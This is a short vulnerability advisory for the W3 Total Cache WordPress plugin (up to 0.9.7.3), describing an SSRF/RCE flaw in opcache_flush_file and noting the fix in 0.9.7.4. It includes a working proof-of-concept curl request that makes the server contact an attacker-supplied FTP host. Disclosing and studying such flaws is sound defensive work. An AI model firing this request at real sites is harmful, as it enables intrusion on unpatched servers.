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[+] Title : Wordpress - W3 Total Cache - SSRF / RCE
[+] Version : W3 Total Cache <= 0.9.7.3
[+] Download link : https://fr.wordpress.org/plugins/w3-total-cache/
[+] Date : 2019-05-06
[+] Description:

The implementation of `opcache_flush_file` calls `file_exists` with a parameter fully controlled by the user.

[+] Proof of Concept:

curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/'

[+] FIXED in : version 0.9.7.4

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